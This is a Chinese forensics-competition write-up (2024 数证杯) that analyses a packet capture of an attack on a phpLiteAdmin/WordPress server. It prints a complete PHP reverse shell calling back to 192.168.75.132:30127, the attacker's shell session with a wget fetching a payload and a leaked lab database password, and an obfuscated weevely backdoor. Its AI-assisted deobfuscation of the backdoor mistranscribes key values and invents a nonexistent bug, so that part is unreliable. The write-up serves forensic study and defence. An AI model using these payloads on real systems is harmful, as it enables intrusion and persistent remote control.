2024数证杯初赛

1.分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)

3504

2.分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)

build 23F79 (Darwin 23.5.0)

3.分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

先看统计:

那么192.168.75.131192.168.75.132一个是攻击方,几个是被攻击方。统揽一下:

132向131发送GET请求、131返回not found等等可以发现是132在发起攻击

1
2
192.168.75.132192.168.75.131 大量GET请求(/shtool、/rshd、/0010-exploits等)
192.168.75.131192.168.75.132 返回404/200响应

192.168.75.131

4.分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)

误区:

这个macos是取证人员抓包所用的系统,并非攻击双方的系统。

随机选取一个131返回132的包:

能看到131的server是ubuntu

5.分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)

端口扫描的特点在于:

SYN/ACK/RST是TCP连接的握手

按照时间顺序能发现这里出现高频扫端口的行为

[RST, ACK]收到回复立即断开(表示这个端口没开放),[SYN] Seq=0 只发握手第一步

这里的[SYN, ACK]就是代表端口是开的(80)

在扫完之后的几个http流中看,能看到nmap的标识符

另解:也就这么几个扫描工具,搜一搜:Masscan、Nmap等.

6.分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)

追踪http流:

发现了有很多的GET /*** HTTP/1.1,给ai查了一下

所以说这就已经开始攻击漏洞了

发现是Wfuzz 3.1.0

7.分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)

过滤http,筛选phpliteadmin

定位到这个包,往下看一个发现是在发post,追踪看一下:

找到登录账号和密码,头也是对应的登录点:

/dbadmin/test_db.php

8.分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)

先过滤http.request.uri contains "/dbadmin/test_db.php"

发现这个三个包都在提交密码(再往后的post都已经开始上传php文件了),所以看最后一个包的数据:

admin

9.分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)

筛选http流中包含phpinfo字符的包

追踪流

demo.php

导出后改成html就能看到网页

10.分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)

沿着上一题向下分析:

追踪http流:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
GET /rev.txt HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: 192.168.75.132:2000
Connection: Keep-Alive


HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.8
Date: Wed, 31 Jul 2024 06:44:32 GMT
Content-type: text/plain
Content-Length: 2425
Last-Modified: Wed, 31 Jul 2024 06:43:54 GMT

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = ‘192.168.75.132’;
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = ‘uname -a; w; id; /bin/sh -i’;
$daemon = 0;
$debug = 0;

if (function_exists(‘pcntl_fork’)) {
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can’t fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can’t setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can’t spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

发给ai问了又下(本地ai也能分析,只是知道是攻击代码,会给反弹的ip地址和端口;在线分析准一点)

ai分析如下

这段代码是一个PHP反弹Shell后门脚本,攻击者通过HTTP GET请求将其下载到目标服务器后执行。以下从攻击机制、代码功能、流量特征和取证要点四个维度进行详细分析:


一、攻击机制概述

攻击流程分为两步:

  1. 投递阶段:目标主机通过Wget从192.168.75.132:2000下载rev.txt(即此PHP脚本)
  2. 执行阶段:目标服务器运行该脚本,主动反向连接攻击者的192.168.75.132:30127端口,获得Shell控制权

二、代码逐段功能解析

1. 初始化与配置(第1-12行)

1
2
3
4
5
6
set_time_limit(0);          // 永不超时
$ip = '192.168.75.132'; // 攻击者IP(硬编码)
$port = 30127; // 攻击者监听端口(与下载端口2000不同)
$chunk_size = 1400; // TCP分块大小,接近MTU值
$shell = 'uname -a; w; id; /bin/sh -i'; // 执行系统信息收集+交互Shell
$daemon = 0; $debug = 0; // 守护进程和调试开关

取证重点:攻击者IP和端口是追踪的核心IOC。使用非标准端口30127,规避常规端口检测。


2. 守护进程化(第14-35行)

1
2
3
4
5
6
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); // 创建子进程
if ($pid) { exit(0); } // 父进程立即退出(脱离终端)
posix_setsid(); // 子进程成为新会话组长(完全后台化)
$daemon = 1; // 标记守护进程模式
}

攻击目的:使进程在后台持续运行,即使Web请求超时结束,Shell连接也不会中断。规避运维人员ps aux查看时发现异常进程


3. 环境清理(第38-40行)

1
2
chdir("/");      // 切换到根目录,隐藏原始路径
umask(0); // 重置文件权限掩码

取证影响:日志中的pwd显示为/掩盖真实入侵路径。删除webshell后难以追溯原始目录。


4. 建立反向连接(第42-48行)

1
$sock = fsockopen($ip, $port, $errno, $errstr, 30);

攻击本质:目标服务器主动发起TCP连接,而非监听端口。突破防火墙入站规则限制(大多数防火墙对出站限制较松)。


5. 进程管道绑定(第51-78行)

1
2
3
4
5
6
7
8
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open($shell, $descriptorspec, $pipes);
stream_set_blocking($pipes[0], 0); // 非阻塞模式
stream_set_blocking($sock, 0); // 非阻塞模式

核心机制:通过proc_open创建Shell进程,将网络套接字与Shell的stdin/stdout/stderr双向管道打通。攻击者输入的命令通过套接字进入Shell,Shell输出通过套接字返回攻击者。


6. 主循环:数据泵(第80-117行)

1
2
3
4
5
6
7
8
9
10
11
12
13
while (1) {
$read_a = array($sock, $pipes[1], $pipes[2]); // 监听:套接字、stdout、stderr
stream_select($read_a, $write_a, $error_a, null); // 多路复用

if (in_array($sock, $read_a)) { // 收到攻击者命令
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input); // 写入Shell stdin
}

if (in_array($pipes[1], $read_a)) { // Shell有输出
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input); // 返回给攻击者
}

}

攻击效果:实现持续交互式Shell,支持执行任意命令、文件操作、内网渗透等。


三、流量包特征分析

第一阶段:脚本下载

1
2
3
4
5
# 过滤语句
ip.addr == 192.168.75.132 && tcp.port == 2000
流量特征GET /rev.txt HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu) # 命令行下载痕迹
HTTP/1.0 200 OK (text/plain) # 返回PHP代码

取证价值:User-Agent暴露自动化攻击工具。时间戳是入侵起点。

第二阶段:反向Shell连接

1
2
3
4
5
6
# 过滤语句(核心)
ip.dst == 192.168.75.132 && tcp.dstport == 30127
流量特征[SYN] 目标主机 → 攻击者:30127 # 目标主动发起
[ACK] 攻击者 → 目标主机
[PSH, ACK] 目标主机 → 攻击者 # 发送Shell提示符(如root@web01:~#)
[PSH, ACK] 攻击者 → 目标主机 # 发送命令(如whoami;ls -la)

关键区别SYN包的源IP是目标服务器,证明是反向连接。无HTTP协议,为纯TCP流。


四、取证检测与防御

1. 流量检测规则

1
2
3
4
# Suricata/Snort规则
alert tcp $HOME_NET any -> $EXTERNAL_NET 30127 (msg:"PHP Reverse Shell Detected";
flow:to_server,established; content:"uname -a"; depth:20; sid:10001;)
Wireshark过滤初始连接tcp.flags.syn == 1 && tcp.flags.ack == 0 && ip.dst == 192.168.75.132

2. 主机层痕迹

  • 进程/bin/sh -i 进程,PPID为1(守护进程化后)
  • 网络netstat -anp 显示 ESTABLISHED 连接到 192.168.75.132:30127
  • 日志:Web访问日志含GET /rev.txt,但无后续参数(POST/GET命令在TCP流中)

3. 防御措施

  • egress 过滤:限制服务器出站连接(除必要服务外)
  • 禁用危险PHP函数pcntl_forkfsockopenproc_openexec
  • WAF规则:拦截URL含.txt?且Content-Type为text/plain的PHP代码
  • 监控:对wget/curl下载后紧跟出站TCP连接的行为告警

五、总结

维度

关键点

攻击IP

192.168.75.132(投递IP = 控制IP)

攻击端口

2000(下载)→ 30127(控制)

攻击手法

两步反弹Shell(投递+执行)

规避技术

守护进程化、非阻塞I/O、目录切换

取证难度

中(需关联两个阶段的流量)

危害等级

极高(完全控守,持续渗透)

一句话定性:这是一个生产级的PHP反弹Shell工具,具备进程守护、流量稳定传输等高级特性,绝非初学者的测试脚本。在真实案件中,需立即阻断30127端口的出站连接,并在主机上查找rev.txt文件及进程残留。


rev.txt

11.分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)

“反弹shell”中的反弹指的是:被攻击的目标主机主动反向连接攻击者的服务器,而不是攻击者直接连接目标。

1
2
$ip = '192.168.75.132';
$port = 30127;

192.168.75.132:30127

12.分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)

直接搜python,source来自.132(即攻击机)即可

3.11.8

13.分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)

从12题得到启发,过滤端口是30127的包:

tcp.port==30127

选132作为目的ip的数据包,追踪tcp流(这里可以看攻击者的命令(ssh连接)等等)

数据包全文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
14:44:32 up 35 min, 0 users, load average: 0.01, 0.04, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
pwd

/
$
ls

bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
vagrant
var
vmlinuz
$
ls /home

zico
$
cd /home/zico

$
ls

bootstrap.zip
joomla
startbootstrap-business-casual-gh-pages
to_do.txt
wordpress
wordpress-4.8.zip
zico-history.tar.gz
$
ls -lh

total 9.0M
-rw-rw-r– 1 zico zico 493K Jun 14 2017 bootstrap.zip
drwxrwxr-x 18 zico zico 4.0K Jun 19 2017 joomla
drwxrwxr-x 6 zico zico 4.0K Aug 19 2016 startbootstrap-business-casual-gh-pages
-rw-rw-r– 1 zico zico 61 Jun 19 2017 to_do.txt
drwxr-xr-x 5 zico zico 4.0K Jun 19 2017 wordpress
-rw-rw-r– 1 zico zico 8.5M Jun 19 2017 wordpress-4.8.zip
-rw-rw-r– 1 zico zico 1.2K Jun 8 2017 zico-history.tar.gz
$
cat to_do.txt

try list:

joomla
bootstrap (+phpliteadmin)
wordpress

$
cat wordpress

cat: wordpress: Is a directory
$
cd wordpress

$
ls

index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$
cat wp-config.php

<?php
/**

The base configuration for WordPress

The wp-config.php creation script uses this file during the
installation. You don’t have to use the web site, you can
copy this file to "wp-config.php" and fill in the values.

This file contains the following configurations:


MySQL settings



Secret keys



Database table prefix



ABSPATH



@link https://codex.wordpress.org/Editing_wp-config.php

@package WordPress
*/

// MySQL settings - You can get this info from your web host //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘zico’);

/** MySQL database username */
define(‘DB_USER’, ‘zico’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘sWfCsfJSPV9H3AmQzw8’);

/** MySQL hostname */
define(‘DB_HOST’, ‘zico’);

/** Database Charset to use in creating database tables. */
define(‘DB_CHARSET’, ‘utf8’);

/** The Database Collate type. Don’t change this if in doubt. */
define(‘DB_COLLATE’, ‘’);

/**#@+

Authentication Unique Keys and Salts.

Change these to different unique phrases!
You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.

@since 2.6.0
*/
define(‘AUTH_KEY’, ‘put your unique phrase here’);
define(‘SECURE_AUTH_KEY’, ‘put your unique phrase here’);
define(‘LOGGED_IN_KEY’, ‘put your unique phrase here’);
define(‘NONCE_KEY’, ‘put your unique phrase here’);
define(‘AUTH_SALT’, ‘put your unique phrase here’);
define(‘SECURE_AUTH_SALT’, ‘put your unique phrase here’);
define(‘LOGGED_IN_SALT’, ‘put your unique phrase here’);
define(‘NONCE_SALT’, ‘put your unique phrase here’);

/**#@-*/

/**

WordPress Database Table prefix.

You can have multiple installations in one database if you give each
a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = ‘wp_’;

/**

For developers: WordPress debugging mode.

Change this to true to enable the display of notices during development.
It is strongly recommended that plugin and theme developers use WP_DEBUG
in their development environments.

For information on other constants that can be used for debugging,
visit the Codex.

@link https://codex.wordpress.org/Debugging_in_WordPress
*/
define(‘WP_DEBUG’, false);

/* That’s all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(FILE) . ‘/‘);

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . ‘wp-settings.php’);
$
ls

index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$
cat wp-config.php |grep password

/** MySQL database password */
$
cat wp-config.php |grep -i pass

/** MySQL database password */
define(‘DB_PASSWORD’, ‘sWfCsfJSPV9H3AmQzw8’);
$
ls /var/www

LICENSE
README.md
css
dbadmin
gulpfile.js
img
index.html
js
less
package.json
tools.html
vendor
view.php
$
cd /var/www

$
ls -lh

total 64K
-rwxrwxrwx 1 root root 1.1K Jun 8 2017 LICENSE
-rwxrwxrwx 1 root root 1.5K Jun 8 2017 README.md
drwxrwxrwx 2 root root 4.0K Jun 8 2017 css
drwxrwxrwx 2 root root 4.0K Jun 8 2017 dbadmin
-rwxrwxrwx 1 root root 3.1K Jun 8 2017 gulpfile.js
drwxrwxrwx 3 root root 4.0K Jun 8 2017 img
-rwxrwxrwx 1 root root 7.8K Jun 8 2017 index.html
drwxrwxrwx 2 root root 4.0K Jun 8 2017 js
drwxrwxrwx 2 root root 4.0K Jun 8 2017 less
-rwxrwxrwx 1 root root 789 Jun 8 2017 package.json
-rwxrwxrwx 1 root root 8.2K Jun 8 2017 tools.html
drwxrwxrwx 7 root root 4.0K Jun 8 2017 vendor
-rwxrwxrwx 1 root root 61 Jun 8 2017 view.php
$
wget 192.168.75.132:2000/help.php

–2024-07-31 15:03:35– http://192.168.75.132:2000/help.php
Connecting to 192.168.75.132:2000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 771 [application/octet-stream]
help.php: Permission denied

Cannot write to help.php’ (Permission denied).
$
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ls

LICENSE
README.md
css
dbadmin
gulpfile.js
img
index.html
js
less
package.json
tools.html
vendor
view.php
$
ls -lh

total 64K
-rwxrwxrwx 1 root root 1.1K Jun 8 2017 LICENSE
-rwxrwxrwx 1 root root 1.5K Jun 8 2017 README.md
drwxrwxrwx 2 root root 4.0K Jun 8 2017 css
drwxrwxrwx 2 root root 4.0K Jun 8 2017 dbadmin
-rwxrwxrwx 1 root root 3.1K Jun 8 2017 gulpfile.js
drwxrwxrwx 3 root root 4.0K Jun 8 2017 img
-rwxrwxrwx 1 root root 7.8K Jun 8 2017 index.html
drwxrwxrwx 2 root root 4.0K Jun 8 2017 js
drwxrwxrwx 2 root root 4.0K Jun 8 2017 less
-rwxrwxrwx 1 root root 789 Jun 8 2017 package.json
-rwxrwxrwx 1 root root 8.2K Jun 8 2017 tools.html
drwxrwxrwx 7 root root 4.0K Jun 8 2017 vendor
-rwxrwxrwx 1 root root 61 Jun 8 2017 view.php
$

wordpress

14.分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)

接上题

sWfCsfJSPV9H3AmQzw8

15.分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)

接上题,向下看,132用命令让131下载了一个php

他这个题目里面的上传有点搞,实际上是攻击者劫持了被攻击机之后,再下载的。

2000

16.分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写) (4分)

做不出来真的,看一下下面这位的把。

数证杯2024-网络流量分析 - lpppp小公主 - 博客园

所以接下来在http流中找到help.php,发现是一个混淆过后的php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

这是混淆的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// 核心配置变量
$k="c6ae1ev170"; // 主加密密钥(用于解密攻击者指令)
$kh="cbbf91e009"; // 头部标记(匹配POST数据起始位置)
$kf="85a819e92c410"; // 尾部标记(匹配POST数据结束位置)
$p="dzINRguo2g6mkn7y"; // 响应前缀(随机字符串,用于识别响应包)

// 异或加解密函数 (XOR)
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}

// 主逻辑:接收->解密->执行->加密->回显
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start(); // 开启输出缓冲
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); // 解密指令→解压→执行
$o=@ob_get_contents(); // 捕获命令执行结果
@ob_end_clean(); // 清空缓冲区

// --- 混淆器BUG说明 ---
// 原始混淆代码在此处使用了未定义的变量 $kv
// 实际应为 $kf(尾部标记的值既作为标记,也复用为输出加密密钥)
$kv = $kf; // 修正:将尾部标记值作为输出加密密钥

$r=@base64_encode(@x(@gzcompress($o),$kv)); // 压缩结果→加密→base64编码
print("$p$kh$r$kf"); // 按格式返回:前缀+头部+加密数据+尾部
}
?>